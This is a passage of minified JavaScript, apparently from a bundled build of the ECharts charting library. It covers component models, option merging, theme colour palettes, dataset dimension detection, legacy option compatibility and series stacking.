a={},o=0,c={},l=0,u=2;if(Fg(n,function(t){c[t]=e[t]}),Fg(n,function(e){K(t,e)&&(a[e]=c[e]=t[e]),s(a,e)&&o++,s(c,e)&&l++}),r[i])return s(t,n[1])?c[n[2]]=null:s(t,n[2])&&(c[n[1]]=null),c;if(l===u||!o)return c;if(o>=u)return a;for(var d=0;d<n.length;d++){var f=n[d];if(!K(a,f)&&K(e,f)){a[f]=e[f];break}}return a}function s(e,t){return e[t]!=null&&e[t]!==`auto`}function c(e,t,n){Fg(e,function(e){t[e]=n[e]})}}function Zg(e){return Qg({},e)}function Qg(e,t){return t&&e&&Fg(Ig,function(n){K(t,n)&&(e[n]=t[n])}),e}var $g=oc(),e_=function(e){N(t,e);function t(t,n,r){var i=e.call(this,t,n,r)||this;return i.uid=dh(`ec_cpt_model`),i}return t.prototype.init=function(e,t,n){this.mergeDefaultAndTheme(e,n)},t.prototype.mergeDefaultAndTheme=function(e,t){var n=Yg(this),r=n?Zg(e):{};nt(e,t.getTheme().get(this.mainType)),nt(e,this.getDefaultOption()),n&&Xg(e,r,n)},t.prototype.mergeOption=function(e,t){nt(this.option,e,!0);var n=Yg(this);n&&Xg(this.option,e,n)},t.prototype.optionUpdated=function(e,t){},t.prototype.getDefaultOption=function(){var e=this.constructor;if(!Tc(e))return e.defaultOption;var t=$g(this);if(!t.defaultOption){for(var n=[],r=e;r;){var i=r.prototype.defaultOption;i&&n.push(i),r=r.superClass}for(var a={},o=n.length-1;o>=0;o--)a=nt(a,n[o],!0);t.defaultOption=a}return t.defaultOption},t.prototype.getReferringComponents=function(e,t){var n=e+`Index`,r=e+`Id`;return fc(this.ecModel,e,{index:this.get(n,!0),id:this.get(r,!0)},t)},t.prototype.getBoxLayoutParams=function(){return Bg(this,!1)},t.prototype.getZLevelKey=function(){return``},t.prototype.setZLevel=function(e){this.option.zlevel=e},t.protoInitialize=function(){var e=t.prototype;e.type=`component`,e.id=``,e.name=``,e.mainType=``,e.subType=``,e.componentIndex=0}(),t}(lh);Oc(e_,lh),Nc(e_),fh(e_),ph(e_,t_);function t_(e){var t=[];return L(e_.getClassesByMainType(e),function(e){t=t.concat(e.dependencies||e.prototype.dependencies||[])}),t=R(t,function(e){return Cc(e).main}),e!==`dataset`&&it(t,`dataset`)<=0&&t.unshift(`dataset`),t}var Q={color:{},darkColor:{},size:{}},n_=Q.color={theme:[`#5070dd`,`#b6d634`,`#505372`,`#ff994d`,`#0ca8df`,`#ffd10a`,`#fb628b`,`#785db0`,`#3fbe95`],neutral00:`#fff`,neutral05:`#f4f7fd`,neutral10:`#e8ebf0`,neutral15:`#dbdee4`,neutral20:`#cfd2d7`,neutral25:`#c3c5cb`,neutral30:`#b7b9be`,neutral35:`#aaacb2`,neutral40:`#9ea0a5`,neutral45:`#929399`,neutral50:`#86878c`,neutral55:`#797b7f`,neutral60:`#6d6e73`,neutral65:`#616266`,neutral70:`#54555a`,neutral75:`#48494d`,neutral80:`#3c3c41`,neutral85:`#303034`,neutral90:`#232328`,neutral95:`#17171b`,neutral99:`#000`,accent05:`#eff1f9`,accent10:`#e0e4f2`,accent15:`#d0d6ec`,accent20:`#c0c9e6`,accent25:`#b1bbdf`,accent30:`#a1aed9`,accent35:`#91a0d3`,accent40:`#8292cc`,accent45:`#7285c6`,accent50:`#6578ba`,accent55:`#5c6da9`,accent60:`#536298`,accent65:`#4a5787`,accent70:`#404c76`,accent75:`#374165`,accent80:`#2e3654`,accent85:`#252b43`,accent90:`#1b2032`,accent95:`#121521`,transparent:`rgba(0,0,0,0)`,highlight:`rgba(255,231,130,0.8)`};for(var r_ in F(n_,{primary:n_.neutral80,secondary:n_.neutral70,tertiary:n_.neutral60,quaternary:n_.neutral50,disabled:n_.neutral20,border:n_.neutral30,borderTint:n_.neutral20,borderShade:n_.neutral40,background:n_.neutral05,backgroundTint:`rgba(234,237,245,0.5)`,backgroundTransparent:`rgba(255,255,255,0)`,backgroundShade:n_.neutral10,shadow:`rgba(0,0,0,0.2)`,shadowTint:`rgba(129,130,136,0.2)`,axisLine:n_.neutral70,axisLineTint:n_.neutral40,axisTick:n_.neutral70,axisTickMinor:n_.neutral60,axisLabel:n_.neutral70,axisSplitLine:n_.neutral15,axisMinorSplitLine:n_.neutral05}),n_)if(n_.hasOwnProperty(r_)){var i_=n_[r_];r_===`theme`?Q.darkColor.theme=n_.theme.slice():r_===`highlight`?Q.darkColor.highlight=`rgba(255,231,130,0.4)`:r_.indexOf(`accent`)===0?Q.darkColor[r_]=Fi(i_,null,function(e){return e*.5},function(e){return Math.min(1,1.3-e)}):Q.darkColor[r_]=Fi(i_,null,function(e){return e*.9},function(e){return 1-e**1.5})}Q.size={xxs:2,xs:5,s:10,m:15,l:20,xl:30,xxl:40,xxxl:50};var a_=``;typeof navigator<`u`&&(a_=navigator.platform||``);var o_=`rgba(0, 0, 0, 0.2)`,s_=Q.color.theme[0],c_=Fi(s_,null,null,.9),l_={darkMode:`auto`,colorBy:`series`,color:Q.color.theme,gradientColor:[c_,s_],aria:{decal:{decals:[{color:o_,dashArrayX:[1,0],dashArrayY:[2,5],symbolSize:1,rotation:Math.PI/6},{color:o_,symbol:`circle`,dashArrayX:[[8,8],[0,8,8,0]],dashArrayY:[6,0],symbolSize:.8},{color:o_,dashArrayX:[1,0],dashArrayY:[4,3],rotation:-Math.PI/4},{color:o_,dashArrayX:[[6,6],[0,6,6,0]],dashArrayY:[6,0]},{color:o_,dashArrayX:[[1,0],[1,6]],dashArrayY:[1,0,6,0],rotation:Math.PI/4},{color:o_,symbol:`triangle`,dashArrayX:[[9,9],[0,9,9,0]],dashArrayY:[7,2],symbolSize:.75}]}},textStyle:{fontFamily:a_.match(/^Win/)?`Microsoft YaHei`:`sans-serif`,fontSize:12,fontStyle:`normal`,fontWeight:`normal`},blendMode:null,stateAnimation:{duration:300,easing:`cubicOut`},animation:`auto`,animationDuration:1e3,animationDurationUpdate:500,animationEasing:`cubicInOut`,animationEasingUpdate:`cubicInOut`,animationThreshold:2e3,progressiveThreshold:3e3,progressive:400,hoverLayerThreshold:3e3,useUTC:!1},u_=G([`tooltip`,`label`,`itemName`,`itemId`,`itemGroupId`,`itemChildGroupId`,`seriesName`]),d_=`original`,f_=`arrayRows`,p_=`objectRows`,m_=`keyedColumns`,h_=`typedArray`,g_=`unknown`,__=`column`,v_={Must:1,Might:2,Not:3},y_=oc();function b_(e){y_(e).datasetMap=G()}function x_(e,t,n){var r={},i=C_(t);if(!i||!e)return r;var a=[],o=[],s=t.ecModel,c=y_(s).datasetMap,l=i.uid+`_`+n.seriesLayoutBy,u,d;e=e.slice(),L(e,function(t,n){var i=U(t)?t:e[n]={name:t};i.type===`ordinal`&&u==null&&(u=n,d=m(i)),r[i.name]=[]});var f=c.get(l)||c.set(l,{categoryWayDim:d,valueWayDim:0});L(e,function(e,t){var n=e.name,i=m(e);if(u==null){var s=f.valueWayDim;p(r[n],s,i),p(o,s,i),f.valueWayDim+=i}else if(u===t)p(r[n],0,i),p(a,0,i);else{var s=f.categoryWayDim;p(r[n],s,i),p(o,s,i),f.categoryWayDim+=i}});function p(e,t,n){for(var r=0;r<n;r++)e.push(t+r)}function m(e){var t=e.dimsDef;return t?t.length:1}return a.length&&(r.itemName=a),o.length&&(r.seriesName=o),r}function S_(e,t,n){var r={};if(!C_(e))return r;var i=t.sourceFormat,a=t.dimensionsDefine,o;(i===`objectRows`||i===`keyedColumns`)&&L(a,function(e,t){(U(e)?e.name:e)===`name`&&(o=t)});var s=function(){for(var e={},r={},s=[],c=0,l=Math.min(5,n);c<l;c++){var u=E_(t.data,i,t.seriesLayoutBy,a,t.startIndex,c);s.push(u);var d=u===v_.Not;if(d&&e.v==null&&c!==o&&(e.v=c),(e.n==null||e.n===e.v||!d&&s[e.n]===v_.Not)&&(e.n=c),f(e)&&s[e.n]!==v_.Not)return e;d||(u===v_.Might&&r.v==null&&c!==o&&(r.v=c),(r.n==null||r.n===r.v)&&(r.n=c))}function f(e){return e.v!=null&&e.n!=null}return f(e)?e:f(r)?r:null}();if(s){r.value=[s.v];var c=o??s.n;r.itemName=[c],r.seriesName=[c]}return r}function C_(e){if(!e.get(`data`,!0))return fc(e.ecModel,`dataset`,{index:e.get(`datasetIndex`,!0),id:e.get(`datasetId`,!0)},uc).models[0]}function w_(e){return!e.get(`transform`,!0)&&!e.get(`fromTransformResult`,!0)?[]:fc(e.ecModel,`dataset`,{index:e.get(`fromDatasetIndex`,!0),id:e.get(`fromDatasetId`,!0)},uc).models}function T_(e,t){return E_(e.data,e.sourceFormat,e.seriesLayoutBy,e.dimensionsDefine,e.startIndex,t)}function E_(e,t,n,r,i,a){var o,s=5;if(_t(e))return v_.Not;var c,l;if(r){var u=r[a];U(u)?(c=u.name,l=u.type):H(u)&&(c=u)}if(l!=null)return l===`ordinal`?v_.Must:v_.Not;if(t===`arrayRows`){var d=e;if(n===`row`){for(var f=d[a],p=0;p<(f||[]).length&&p<s;p++)if((o=b(f[i+p]))!=null)return o}else for(var p=0;p<d.length&&p<s;p++){var m=d[i+p];if(m&&(o=b(m[a]))!=null)return o}}else if(t===`objectRows`){var h=e;if(!c)return v_.Not;for(var p=0;p<h.length&&p<s;p++){var g=h[p];if(g&&(o=b(g[c]))!=null)return o}}else if(t===`keyedColumns`){var _=e;if(!c)return v_.Not;var f=_[c];if(!f||_t(f))return v_.Not;for(var p=0;p<f.length&&p<s;p++)if((o=b(f[p]))!=null)return o}else if(t===`original`)for(var v=e,p=0;p<v.length&&p<s;p++){var g=v[p],y=Vs(g);if(!B(y))return v_.Not;if((o=b(y[a]))!=null)return o}function b(e){var t=H(e);if(e!=null&&Number.isFinite(Number(e))&&e!==``)return t?v_.Might:v_.Not;if(t&&e!==`-`)return v_.Must}return v_.Not}var D_=G();function O_(e,t){Dt(D_.get(e)==null&&t),D_.set(e,t)}function k_(e,t,n){var r=D_.get(t);if(!r)return n;var i=r(e);return i?n.concat(i):n}var A_=oc(),j_=oc(),M_=function(){function e(){}return e.prototype.getColorFromPalette=function(e,t,n){var r=Rs(this.get(`color`,!0)),i=this.get(`colorLayer`,!0);return F_(this,A_,r,i,e,t,n)},e.prototype.clearColorPalette=function(){I_(this,A_)},e}();function N_(e,t,n,r){return F_(e,j_,Rs(e.get([`aria`,`decal`,`decals`])),null,t,n,r)}function P_(e,t){for(var n=e.length,r=0;r<n;r++)if(e[r].length>t)return e[r];return e[n-1]}function F_(e,t,n,r,i,a,o){a||=e;var s=t(a),c=s.paletteIdx||0,l=s.paletteNameMap=s.paletteNameMap||{};if(l.hasOwnProperty(i))return l[i];var u=o==null||!r?n:P_(r,o);if(u||=n,!(!u||!u.length)){var d=u[c];return i&&(l[i]=d),s.paletteIdx=(c+1)%u.length,d}}function I_(e,t){t(e).paletteIdx=0,t(e).paletteNameMap={}}var L_,R_,z_,B_=`\0_ec_inner`,V_=1,H_=function(e){N(t,e);function t(){return e!==null&&e.apply(this,arguments)||this}return t.prototype.init=function(e,t,n,r,i,a){r||={},this.option=null,this._theme=new lh(r),this._locale=new lh(i),this._optionManager=a},t.prototype.setOption=function(e,t,n){var r=q_(t);this._optionManager.setOption(e,n,r),this._resetOption(null,r)},t.prototype.resetOption=function(e,t){return this._resetOption(e,q_(t))},t.prototype._resetOption=function(e,t){var n=!1,r=this._optionManager;if(!e||e===`recreate`){var i=r.mountOption(e===`recreate`);!this.option||e===`recreate`?z_(this,i):(this.restoreData(),this._mergeOption(i,t)),n=!0}if((e===`timeline`||e===`media`)&&this.restoreData(),!e||e===`recreate`||e===`timeline`){var a=r.getTimelineOption(this);a&&(n=!0,this._mergeOption(a,t))}if(!e||e===`recreate`||e===`media`){var o=r.getMediaOption(this);o.length&&L(o,function(e){n=!0,this._mergeOption(e,t)},this)}return n},t.prototype.mergeOption=function(e){this._mergeOption(e,null)},t.prototype._mergeOption=function(e,t){var n=this.option,r=this._componentsMap,i=this._componentsCount,a=[],o=G(),s=t&&t.replaceMergeMainTypeMap;b_(this),L(e,function(e,t){e!=null&&(e_.hasClass(t)?t&&(a.push(t),o.set(t,!0)):n[t]=n[t]==null?P(e):nt(n[t],e,!0))}),s&&s.each(function(e,t){e_.hasClass(t)&&!o.get(t)&&(a.push(t),o.set(t,!0))}),e_.topologicalTravel(a,e_.getAllClassMainTypes(),c,this);function c(t){var a=k_(this,t,Rs(e[t])),o=r.get(t),c=Us(o,a,o?s&&s.get(t)?`replaceMerge`:`normalMerge`:`replaceAll`);nc(c,t,e_),n[t]=null,r.set(t,null),i.set(t,0);var l=[],u=[],d=0,f;L(c,function(e,n){var r=e.existing,i=e.newOption;if(!i)r&&(r.mergeOption({},this),r.optionUpdated({},!1));else{var a=t===`series`,o=e_.getClass(t,e.keyInfo.subType,!a);if(!o)return;if(t===`tooltip`){if(f)return;f=!0}if(r&&r.constructor===o)r.name=e.keyInfo.name,r.mergeOption(i,this),r.optionUpdated(i,!1);else{var s=F({componentIndex:n},e.keyInfo);r=new o(i,this,this,s),F(r,s),e.brandNew&&(r.__requireNewView=!0),r.init(i,this,this),r.optionUpdated(null,!0)}}r?(l.push(r.option),u.push(r),d++):(l.push(void 0),u.push(void 0))},this),n[t]=l,r.set(t,u),i.set(t,d),t===`series`&&L_(this)}this._seriesIndices||L_(this)},t.prototype.getOption=function(){var e=P(this.option);return L(e,function(t,n){if(e_.hasClass(n)){for(var r=Rs(t),i=r.length,a=!1,o=i-1;o>=0;o--)r[o]&&!ec(r[o])?a=!0:(r[o]=null,!a&&i--);r.length=i,e[n]=r}}),delete e[B_],e},t.prototype.setTheme=function(e){this._theme=new lh(e),this._resetOption(`recreate`,null)},t.prototype.getTheme=function(){return this._theme},t.prototype.getLocaleModel=function(){return this._locale},t.prototype.setUpdatePayload=function(e){this._payload=e},t.prototype.getUpdatePayload=function(){return this._payload},t.prototype.getComponent=function(e,t){var n=this._componentsMap.get(e);if(n){var r=n[t||0];if(r)return r;if(t==null){for(var i=0;i<n.length;i++)if(n[i])return n[i]}}},t.prototype.queryComponents=function(e){var t=e.mainType;if(!t)return[];var n=e.index,r=e.id,i=e.name,a=this._componentsMap.get(t);if(!a||!a.length)return[];var o;return n==null?o=r==null?i==null?lt(a,function(e){return!!e}):G_(`name`,i,a):G_(`id`,r,a):(o=[],L(Rs(n),function(e){a[e]&&o.push(a[e])})),K_(o,e)},t.prototype.findComponents=function(e){var t=e.query,n=e.mainType,r=i(t);return a(K_(r?this.queryComponents(r):lt(this._componentsMap.get(n),function(e){return!!e}),e));function i(e){var t=n+`Index`,r=n+`Id`,i=n+`Name`;return e&&(e[t]!=null||e[r]!=null||e[i]!=null)?{mainType:n,index:e[t],id:e[r],name:e[i]}:null}function a(t){return e.filter?lt(t,e.filter):t}},t.prototype.eachComponent=function(e,t,n){var r=this._componentsMap;if(V(e)){var i=t,a=e;r.each(function(e,t){for(var n=0;e&&n<e.length;n++){var r=e[n];r&&a.call(i,t,r,r.componentIndex)}})}else for(var o=H(e)?r.get(e):U(e)?this.findComponents(e):null,s=0;o&&s<o.length;s++){var c=o[s];c&&t.call(n,c,c.componentIndex)}},t.prototype.getSeriesByName=function(e){var t=Qs(e,null);return lt(this._componentsMap.get(`series`),function(e){return!!e&&t!=null&&e.name===t})},t.prototype.getSeriesByIndex=function(e){return this._componentsMap.get(`series`)[e]},t.prototype.getSeriesByType=function(e){return lt(this._componentsMap.get(`series`),function(t){return!!t&&t.subType===e})},t.prototype.getSeries=function(){return lt(this._componentsMap.get(`series`),function(e){return!!e})},t.prototype.getSeriesCount=function(){return this._componentsCount.get(`series`)},t.prototype.eachSeries=function(e,t){R_(this),L(this._seriesIndices,function(n){var r=this._componentsMap.get(`series`)[n];e.call(t,r,n)},this)},t.prototype.eachRawSeries=function(e,t){L(this._componentsMap.get(`series`),function(n){n&&e.call(t,n,n.componentIndex)})},t.prototype.eachSeriesByType=function(e,t,n){R_(this),L(this._seriesIndices,function(r){var i=this._componentsMap.get(`series`)[r];i.subType===e&&t.call(n,i,r)},this)},t.prototype.eachRawSeriesByType=function(e,t,n){return L(this.getSeriesByType(e),t,n)},t.prototype.isSeriesFiltered=function(e){return R_(this),this._seriesIndicesMap.get(e.componentIndex)==null},t.prototype.getCurrentSeriesIndices=function(){return(this._seriesIndices||[]).slice()},t.prototype.filterSeries=function(e,t){R_(this);var n=[];L(this._seriesIndices,function(r){var i=this._componentsMap.get(`series`)[r];e.call(t,i,r)&&n.push(r)},this),this._seriesIndices=n,this._seriesIndicesMap=G(n)},t.prototype.restoreData=function(e){L_(this);var t=this._componentsMap,n=[];t.each(function(e,t){e_.hasClass(t)&&n.push(t)}),e_.topologicalTravel(n,e_.getAllClassMainTypes(),function(n){L(t.get(n),function(t){t&&(n!==`series`||!U_(t,e))&&t.restoreData()})})},t.internalField=function(){L_=function(e){var t=e._seriesIndices=[];L(e._componentsMap.get(`series`),function(e){e&&t.push(e.componentIndex)}),e._seriesIndicesMap=G(t)},R_=function(e){},z_=function(e,t){e.option={},e.option[B_]=V_,e._componentsMap=G({series:[]}),e._componentsCount=G();var n=t.aria;U(n)&&n.enabled==null&&(n.enabled=!0),W_(t,e._theme.option),nt(t,l_,!1),e._mergeOption(t,null)}}(),t}(lh);function U_(e,t){if(t){var n=t.seriesIndex,r=t.seriesId,i=t.seriesName;return n!=null&&e.componentIndex!==n||r!=null&&e.id!==r||i!=null&&e.name!==i}}function W_(e,t){var n=e.color&&!e.colorLayer;L(t,function(t,r){r===`colorLayer`&&n||r===`color`&&e.color||e_.hasClass(r)||(typeof t==`object`?e[r]=e[r]?nt(e[r],t,!1):P(t):e[r]??(e[r]=t))})}function G_(e,t,n){if(B(t)){var r=G();return L(t,function(e){e!=null&&Qs(e,null)!=null&&r.set(e,!0)}),lt(n,function(t){return t&&r.get(t[e])})}else{var i=Qs(t,null);return lt(n,function(t){return t&&i!=null&&t[e]===i})}}function K_(e,t){return t.hasOwnProperty(`subType`)?lt(e,function(e){return e&&e.subType===t.subType}):e}function q_(e){var t=G();return e&&L(Rs(e.replaceMerge),function(e){t.set(e,!0)}),{replaceMergeMainTypeMap:t}}ot(H_,M_);var J_=[`getDom`,`getZr`,`getWidth`,`getHeight`,`getDevicePixelRatio`,`dispatchAction`,`isSSR`,`isDisposed`,`on`,`off`,`getDataURL`,`getConnectedDataURL`,`getOption`,`getId`,`updateLabelLayout`],Y_=function(){function e(e){L(J_,function(t){this[t]=z(e[t],e)},this)}return e}(),X_=/^(min|max)?(.+)$/,Z_=function(){function e(e){this._timelineOptions=[],this._mediaList=[],this._currentMediaIndices=[],this._api=e}return e.prototype.setOption=function(e,t,n){e&&(L(Rs(e.series),function(e){e&&e.data&&_t(e.data)&&At(e.data)}),L(Rs(e.dataset),function(e){e&&e.source&&_t(e.source)&&At(e.source)})),e=P(e);var r=this._optionBackup,i=Q_(e,t,!r);this._newBaseOption=i.baseOption,r?(i.timelineOptions.length&&(r.timelineOptions=i.timelineOptions),i.mediaList.length&&(r.mediaList=i.mediaList),i.mediaDefault&&(r.mediaDefault=i.mediaDefault)):this._optionBackup=i},e.prototype.mountOption=function(e){var t=this._optionBackup;return this._timelineOptions=t.timelineOptions,this._mediaList=t.mediaList,this._mediaDefault=t.mediaDefault,this._currentMediaIndices=[],P(e?t.baseOption:this._newBaseOption)},e.prototype.getTimelineOption=function(e){var t,n=this._timelineOptions;if(n.length){var r=e.getComponent(`timeline`);r&&(t=P(n[r.getCurrentIndex()]))}return t},e.prototype.getMediaOption=function(e){var t=this._api.getWidth(),n=this._api.getHeight(),r=this._mediaList,i=this._mediaDefault,a=[],o=[];if(!r.length&&!i)return o;for(var s=0,c=r.length;s<c;s++)$_(r[s].query,t,n)&&a.push(s);return!a.length&&i&&(a=[-1]),a.length&&!tv(a,this._currentMediaIndices)&&(o=R(a,function(e){return P(e===-1?i.option:r[e].option)})),this._currentMediaIndices=a,o},e}();function Q_(e,t,n){var r=[],i,a,o=e.baseOption,s=e.timeline,c=e.options,l=e.media,u=!!e.media,d=!!(c||s||o&&o.timeline);o?(a=o,a.timeline||=s):((d||u)&&(e.options=e.media=null),a=e),u&&B(l)&&L(l,function(e){e&&e.option&&(e.query?r.push(e):i||=e)}),f(a),L(c,function(e){return f(e)}),L(r,function(e){return f(e.option)});function f(e){L(t,function(t){t(e,n)})}return{baseOption:a,timelineOptions:c||[],mediaDefault:i,mediaList:r}}function $_(e,t,n){var r={width:t,height:n,aspectratio:t/n},i=!0;return L(e,function(e,t){var n=t.match(X_);if(!(!n||!n[1]||!n[2])){var a=n[1];ev(r[n[2].toLowerCase()],e,a)||(i=!1)}}),i}function ev(e,t,n){return n===`min`?e>=t:n===`max`?e<=t:e===t}function tv(e,t){return e.join(`,`)===t.join(`,`)}var nv=L,rv=U,iv=[`areaStyle`,`lineStyle`,`nodeStyle`,`linkStyle`,`chordStyle`,`label`,`labelLine`];function av(e){var t=e&&e.itemStyle;if(t)for(var n=0,r=iv.length;n<r;n++){var i=iv[n],a=t.normal,o=t.emphasis;a&&a[i]&&(e[i]=e[i]||{},e[i].normal?nt(e[i].normal,a[i]):e[i].normal=a[i],a[i]=null),o&&o[i]&&(e[i]=e[i]||{},e[i].emphasis?nt(e[i].emphasis,o[i]):e[i].emphasis=o[i],o[i]=null)}}function ov(e,t,n){if(e&&e[t]&&(e[t].normal||e[t].emphasis)){var r=e[t].normal,i=e[t].emphasis;r&&(n?(e[t].normal=e[t].emphasis=null,I(e[t],r)):e[t]=r),i&&(e.emphasis=e.emphasis||{},e.emphasis[t]=i,i.focus&&(e.emphasis.focus=i.focus),i.blurScope&&(e.emphasis.blurScope=i.blurScope))}}function sv(e){ov(e,`itemStyle`),ov(e,`lineStyle`),ov(e,`areaStyle`),ov(e,`label`),ov(e,`labelLine`),ov(e,`upperLabel`),ov(e,`edgeLabel`)}function cv(e,t){var n=rv(e)&&e[t],r=rv(n)&&n.textStyle;if(r)for(var i=0,a=Bs.length;i<a;i++){var o=Bs[i];r.hasOwnProperty(o)&&(n[o]=r[o])}}function lv(e){e&&(sv(e),cv(e,`label`),e.emphasis&&cv(e.emphasis,`label`))}function uv(e){if(rv(e)){av(e),sv(e),cv(e,`label`),cv(e,`upperLabel`),cv(e,`edgeLabel`),e.emphasis&&(cv(e.emphasis,`label`),cv(e.emphasis,`upperLabel`),cv(e.emphasis,`edgeLabel`));var t=e.markPoint;t&&(av(t),lv(t));var n=e.markLine;n&&(av(n),lv(n));var r=e.markArea;r&&lv(r);var i=e.data;if(e.type===`graph`){i||=e.nodes;var a=e.links||e.edges;if(a&&!_t(a))for(var o=0;o<a.length;o++)lv(a[o]);L(e.categories,function(e){sv(e)})}if(i&&!_t(i))for(var o=0;o<i.length;o++)lv(i[o]);if(t=e.markPoint,t&&t.data)for(var s=t.data,o=0;o<s.length;o++)lv(s[o]);if(n=e.markLine,n&&n.data)for(var c=n.data,o=0;o<c.length;o++)B(c[o])?(lv(c[o][0]),lv(c[o][1])):lv(c[o]);e.type===`gauge`?(cv(e,`axisLabel`),cv(e,`title`),cv(e,`detail`)):e.type===`treemap`?(ov(e.breadcrumb,`itemStyle`),L(e.levels,function(e){sv(e)})):e.type===`tree`&&sv(e.leaves)}}function dv(e){return B(e)?e:e?[e]:[]}function fv(e){return(B(e)?e[0]:e)||{}}function pv(e,t){nv(dv(e.series),function(e){rv(e)&&uv(e)});var n=[`xAxis`,`yAxis`,`radiusAxis`,`angleAxis`,`singleAxis`,`parallelAxis`,`radar`];t&&n.push(`valueAxis`,`categoryAxis`,`logAxis`,`timeAxis`),nv(n,function(t){nv(dv(e[t]),function(e){e&&(cv(e,`axisLabel`),cv(e.axisPointer,`label`))})}),nv(dv(e.parallel),function(e){var t=e&&e.parallelAxisDefault;cv(t,`axisLabel`),cv(t&&t.axisPointer,`label`)}),nv(dv(e.calendar),function(e){ov(e,`itemStyle`),cv(e,`dayLabel`),cv(e,`monthLabel`),cv(e,`yearLabel`)}),nv(dv(e.radar),function(e){cv(e,`name`),e.name&&e.axisName==null&&(e.axisName=e.name,delete e.name),e.nameGap!=null&&e.axisNameGap==null&&(e.axisNameGap=e.nameGap,delete e.nameGap)}),nv(dv(e.geo),function(e){rv(e)&&(lv(e),nv(dv(e.regions),function(e){lv(e)}))}),nv(dv(e.timeline),function(e){lv(e),ov(e,`label`),ov(e,`itemStyle`),ov(e,`controlStyle`,!0);var t=e.data;B(t)&&L(t,function(e){U(e)&&(ov(e,`label`),ov(e,`itemStyle`))})}),nv(dv(e.toolbox),function(e){ov(e,`iconStyle`),nv(e.feature,function(e){ov(e,`iconStyle`)})}),cv(fv(e.axisPointer),`label`),cv(fv(e.tooltip).axisPointer,`label`)}function mv(e,t){for(var n=t.split(`,`),r=e,i=0;i<n.length&&(r&&=r[n[i]],r!=null);i++);return r}function hv(e,t,n,r){for(var i=t.split(`,`),a=e,o,s=0;s<i.length-1;s++)o=i[s],a[o]??(a[o]={}),a=a[o];(r||a[i[s]]==null)&&(a[i[s]]=n)}function gv(e){e&&L(_v,function(t){t[0]in e&&!(t[1]in e)&&(e[t[1]]=e[t[0]])})}var _v=[[`x`,`left`],[`y`,`top`],[`x2`,`right`],[`y2`,`bottom`]],vv=[`grid`,`geo`,`parallel`,`legend`,`toolbox`,`title`,`visualMap`,`dataZoom`,`timeline`],yv=[[`borderRadius`,`barBorderRadius`],[`borderColor`,`barBorderColor`],[`borderWidth`,`barBorderWidth`]];function bv(e){var t=e&&e.itemStyle;if(t)for(var n=0;n<yv.length;n++){var r=yv[n][1],i=yv[n][0];t[r]!=null&&(t[i]=t[r])}}function xv(e){e&&e.alignTo===`edge`&&e.margin!=null&&e.edgeDistance==null&&(e.edgeDistance=e.margin)}function Sv(e){e&&e.downplay&&!e.blur&&(e.blur=e.downplay)}function Cv(e){e&&e.focusNodeAdjacency!=null&&(e.emphasis=e.emphasis||{},e.emphasis.focus??(e.emphasis.focus=`adjacency`))}function wv(e,t){if(e)for(var n=0;n<e.length;n++)t(e[n]),e[n]&&wv(e[n].children,t)}function Tv(e,t){pv(e,t),e.series=Rs(e.series),L(e.series,function(e){if(U(e)){var t=e.type;if(t===`line`)e.clipOverflow!=null&&(e.clip=e.clipOverflow);else if(t===`pie`||t===`gauge`){e.clockWise!=null&&(e.clockwise=e.clockWise),xv(e.label);var n=e.data;if(n&&!_t(n))for(var r=0;r<n.length;r++)xv(n[r]);e.hoverOffset!=null&&(e.emphasis=e.emphasis||{},(e.emphasis.scaleSize=null)&&(e.emphasis.scaleSize=e.hoverOffset))}else if(t===`gauge`){var i=mv(e,`pointer.color`);i!=null&&hv(e,`itemStyle.color`,i)}else if(t===`bar`){bv(e),bv(e.backgroundStyle),bv(e.emphasis);var n=e.data;if(n&&!_t(n))for(var r=0;r<n.length;r++)typeof n[r]==`object`&&(bv(n[r]),bv(n[r]&&n[r].emphasis))}else if(t===`sunburst`){var a=e.highlightPolicy;a&&(e.emphasis=e.emphasis||{},e.emphasis.focus||(e.emphasis.focus=a)),Sv(e),wv(e.data,Sv)}else t===`graph`||t===`sankey`?Cv(e):t===`map`&&(e.mapType&&!e.map&&(e.map=e.mapType),e.mapLocation&&I(e,e.mapLocation));e.hoverAnimation!=null&&(e.emphasis=e.emphasis||{},e.emphasis&&e.emphasis.scale==null&&(e.emphasis.scale=e.hoverAnimation)),gv(e)}}),e.dataRange&&(e.visualMap=e.dataRange),L(vv,function(t){var n=e[t];n&&(B(n)||(n=[n]),L(n,function(e){gv(e)}))})}function Ev(e){var t=G();e.eachSeries(function(e){var n=e.get(`stack`);if(n){var r=t.get(n)||t.set(n,[]),i=e.getData(),a={stackResultDimension:i.getCalculationInfo(`stackResultDimension`),stackedOverDimension:i.getCalculationInfo(`stackedOverDimension`),stackedDimension:i.getCalculationInfo(`stackedDimension`),stackedByDimension:i.getCalculationInfo(`stackedByDimension`),isStackedByIndex:i.getCalculationInfo(`isStackedByIndex`),data:i,seriesModel:e};if(!a.stackedDimension||!(a.isStackedByIndex||a.stackedByDimension))return;r.push(a)}}),t.each(function(e){e.length!==0&&((e[0].seriesModel.get(`stackOrder`)||`seriesAsc`)===`seriesDesc`&&e.reverse(),L(e,function(t,n){t.data.setCalculationInfo(`stackedOnSeries`,n>0?e[n-1].seriesModel:null)}),Dv(e))})}function Dv(e){L(e,function(t,n){var r=[],i=[NaN,NaN],a=[t.stackResultDimension,t.stackedOverDimension],o=t.data,s=t.isStackedByIndex,c=t.seriesModel.get(`stackStrategy`)||`samesign`;o.modify(a,function(a,l,u){var d=o.get(t.stackedDimension,u);if(isNaN(d))return i;var f,p;s?p=o.getRawIndex(u):f=o.get(t.stackedByDimension,u);for(var m=NaN,h=n-1;h>=0;h--){var g=e[h];if(s||(p=g.data.rawIndexOf(g.stackedByDimension,f)),p>=0){var _=g.data.getByRawIndex(g.stackResultDimension,p);if(c===`all`||c===`positive`&&_>0||c===`negative`&&_<0||c===`samesign`&&d>=0&&_>0||c===`samesign`&&d<=0&&_<0){d=ms(d,_),m=_;break}}}return r[0]=d,r[1]=m,r})})}var Ov=function(){function e(e){this.data=e.data||(e.sourceFormat===`keyedColumns`?{}:[]),this.sourceFormat=e.sourceFormat||`unknown`,this.seriesLayoutBy=e.seriesLayoutBy||`column`,this.startIndex=e.startIndex||0,this.dimensionsDetectedCount=e.dimensionsDetectedCount,this.metaRawOption=e.metaRawOption;var t=this.dimensionsDefine=e.dimensionsDefine;if(t)for(var n=0;n<t.length;n++){var r=t[n];r.type==null&&T_(this,n)===v_.Must&&(r.type=`ordinal`)}}return e}();function kv(e){return e instanceof Ov}function Av(e,t,n){n||=Nv(e);var r=t.seriesLayoutBy,i=Pv(e,n,r,t.sourceHeader,t.dimensions);return new 